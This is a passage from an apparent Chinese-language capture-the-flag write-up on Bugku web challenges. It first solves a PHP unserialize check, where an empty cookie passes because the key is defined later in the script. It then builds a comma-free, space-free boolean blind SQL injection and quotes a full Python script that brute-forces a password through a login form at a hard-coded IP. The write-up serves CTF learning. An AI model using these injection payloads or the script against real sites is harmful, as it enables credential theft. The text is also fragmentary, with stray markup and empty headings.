<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
}
$KEY='ISecer:www.isecer.com';
# 解题思路
echo ': $cookie'.var_dump(unserialize($KEY)).'
';
echo ': $cookie'.var_dump(unserialize($cookie));
?>
关键在于:
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
刚开始我以为只要吧key的值序列化一下,作为cookie传过去就行了,但是后来发现不是那么回事这里cookie的值是空的:
echo serialize($KEY).'
';
echo ': $cookie'.var_dump(unserialize($cookie));
意思是反序列化后的cookie全等于key的值,一定不要被底部定义的key欺骗了,它是后定义的,在上面的判断中,key并没有被定义,也就是key为空,也就是说我们传一个空的cookie就符合条件了:
flag:flag{unserialize_by_virink}
exp:下载地址
方法一:
方法二:
此块代码为引用!!!!!!
成功闭合了单引号
下面我们就尝试构造跟下面类似的语句
ascii(substr((select database()),1,1))>-1
ascii(mid(passwd,1,1))=%d
把这个语句放在0和1的位置就可以取出数据
但是这里逗号和空格都不能用,那么substr就用不了,但是我们可以使用mid(),比如
passwd=abc123
那我们可以用以下方式来取出想要的数据
mid((passwd)from(-1)) ->3
mid((passwd)from(-2)) ->23
mid((passwd)from(-3)) ->123
倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样
先倒叙取出几位
mid((passwd)from(-%d))
反转
reverse(mid((passwd)from(-%d)))
取最后一位
mid(reverse(mid((passwd)from(-%d)))from(-1))
比较ascii值
ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))= %d
测试一下发现
当表达式为真时,返回的是username error!!
当表达式为假时,返回的是password error!!
因此我们就可以利用这个特点进行盲注
这里上一个前辈写的exp,难点就在构造注入语句上啊,确实厉害:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/16 17:29
# @Author : Shadow
# @Site :
# @File : Bugku_sql注入2.py
# @Software: PyCharm
import requests
url = 'http://123.206.87.240:8007/web2/login.php'
flag = ''
for i in range(1, 40):
for p in range(32, 126):
sqlstr = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)
data = {
'uname': sqlstr,
'passwd': '123456'
}
html = requests.post(url, data=data).text
if 'username' in html:
print i
flag += chr(p)
print flag
print "=================================>"
print "\n" + flag
解码flag竟然是:admin123
登录后台拿到flag:
flag: flag{sql_iNJEct_comMon3600!}
这题不用看了,phpmyadmin没了,那就是突破点